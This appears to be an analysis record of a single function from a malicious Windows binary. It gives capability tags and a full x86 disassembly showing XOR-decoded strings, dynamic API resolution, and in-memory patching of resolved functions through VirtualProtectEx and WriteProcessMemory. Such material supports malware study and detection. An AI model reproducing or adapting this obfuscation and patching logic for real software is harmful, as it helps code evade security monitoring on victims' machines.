Function at 0x42f5c0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x98
mov eax, dword [0x4b8040]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], 0x4ac21ac4
mov dword [ebp - 0x14], 0x3f078b6
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], edx
mov dword [ebp - 0x18], 0xb8d1cdbe
mov dword [ebp - 0x14], 0xdd668931
mov eax, dword [ebp - 0x18]
push esi
mov esi, ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x18], 0x7715bdb0
mov dword [ebp - 0x14], 0xd1c285e8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x18], 0x18792655
mov dword [ebp - 0x14], 0x3f2e9601
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x18], 0xde6be5c9
mov dword [ebp - 0x14], 0x6b7ad7c9
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x18], 0x8444d4a2
mov dword [ebp - 0x14], 0x26300d74
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x18], 0x2bb66e85
mov dword [ebp - 0x14], 0x679510d5
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x98beb99e
mov dword [ebp - 0x14], 0xaf16a950
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x8c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x470dedf
mov dword [ebp - 0x14], 0xb5eaa59b
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x84], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x7f0c4430
mov dword [ebp - 0x14], 0x165cf366
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x7c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xde6be5c9
mov dword [ebp - 0x14], 0x6b7ad7c9
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x74], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x8444d4a2
mov dword [ebp - 0x14], 0x26300d74
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x60]
xorps xmm1, xmmword [ebp - 0x90]
movaps xmmword [ebp - 0x60], xmm1
movaps xmm1, xmmword [ebp - 0x50]
xorps xmm1, xmmword [ebp - 0x80]
push edi
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], ecx
movaps xmmword [ebp - 0x50], xmm1
movaps xmm1, xmmword [ebp - 0x40]
lea ecx, [ebp - 0x60]
xorps xmm1, xmmword [ebp - 0x70]
lea edx, [ecx + 1]
movaps xmmword [ebp - 0x40], xmm1
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42f760
sub ecx, edx
lea eax, [ebp - 0x60]
push ecx
push eax
lea ecx, [esi + 0xc]
call fcn.0041f4e0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp byte [0x4b0c51], 0
movq xmm0, qword [0x4b0c48]
mov cx, word [0x4b0c50]
mov dword [ebp - 0x1c], eax
movq qword [ebp - 0x18], xmm0
mov word [ebp - 0x10], cx
je 0x42f7d9
xor ecx, ecx
mov eax, 0x3521cfb3
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
mov dl, cl
shr eax, 5
movsx eax, al
imul eax, eax, 0x35
sub dl, al
add dl, 0x37
xor byte [ebp + ecx - 0x18], dl
inc ecx
cmp ecx, 0xa
jl 0x42f7b0
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, eax
xor esi, esi
nop word [eax + eax]
push dword [esi + 0x505c88]
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esi + 0x505c8c], eax
add esi, 0xc
cmp esi, 0x24
jb 0x42f7f0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp word [0x4b0956], 0
mov edi, eax
movq xmm0, qword [str.YL_VW_]
mov ecx, dword [0x4b0954]
mov dword [ebp - 0x14], edi
movq qword [ebp - 0x28], xmm0
mov dword [ebp - 0x20], ecx
je 0x42f867
xor esi, esi
nop word [eax + eax]
mov eax, 0x3521cfb3
mov ecx, esi
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
imul eax, eax, 0x35
sub ecx, eax
add ecx, 0x37
xor word [ebp + esi*2 - 0x28], cx
inc esi
cmp esi, 6
jl 0x42f840
lea eax, [ebp - 0x28]
push eax
push edi
mov edi, dword [sym.imp.VCRUNTIME140.dll_wcsstr]
call edi
add esp, 8
test eax, eax
jne 0x42f8d7
cmp word [0x4b0b42], 0
movq xmm0, qword [str.ylvw_]
mov eax, dword [0x4b0b40]
movq qword [ebp - 0x28], xmm0
mov dword [ebp - 0x20], eax
je 0x42f8c7
xor esi, esi
nop dword [eax]
mov eax, 0x3521cfb3
mov ecx, esi
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
imul eax, eax, 0x35
sub ecx, eax
add ecx, 0x37
xor word [ebp + esi*2 - 0x28], cx
inc esi
cmp esi, 6
jl 0x42f8a0
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x14]
call edi
add esp, 8
test eax, eax
je 0x42f941
xor edi, edi
mov ecx, 0x505c90
nop
mov esi, dword [ebp - 0x1c]
lea eax, [ebp - 0x14]
push eax
push 0x40
push dword [edi + ecx]
push dword [edi + 0x505c8c]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov eax, dword [edi + 0x505c8c]
mov ecx, 0x505c90
push 0
push dword [edi + ecx]
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push dword [ebp - 0x14]
mov esi, eax
mov eax, 0x505c90
push dword [edi + eax]
push dword [edi + 0x505c8c]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test esi, esi
jne 0x42f95f
add edi, 0xc
mov ecx, 0x505c90
cmp edi, 0x24
jb 0x42f8e0
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044317d
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
xor ecx, ebp
pop esi
call fcn.0044317d
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret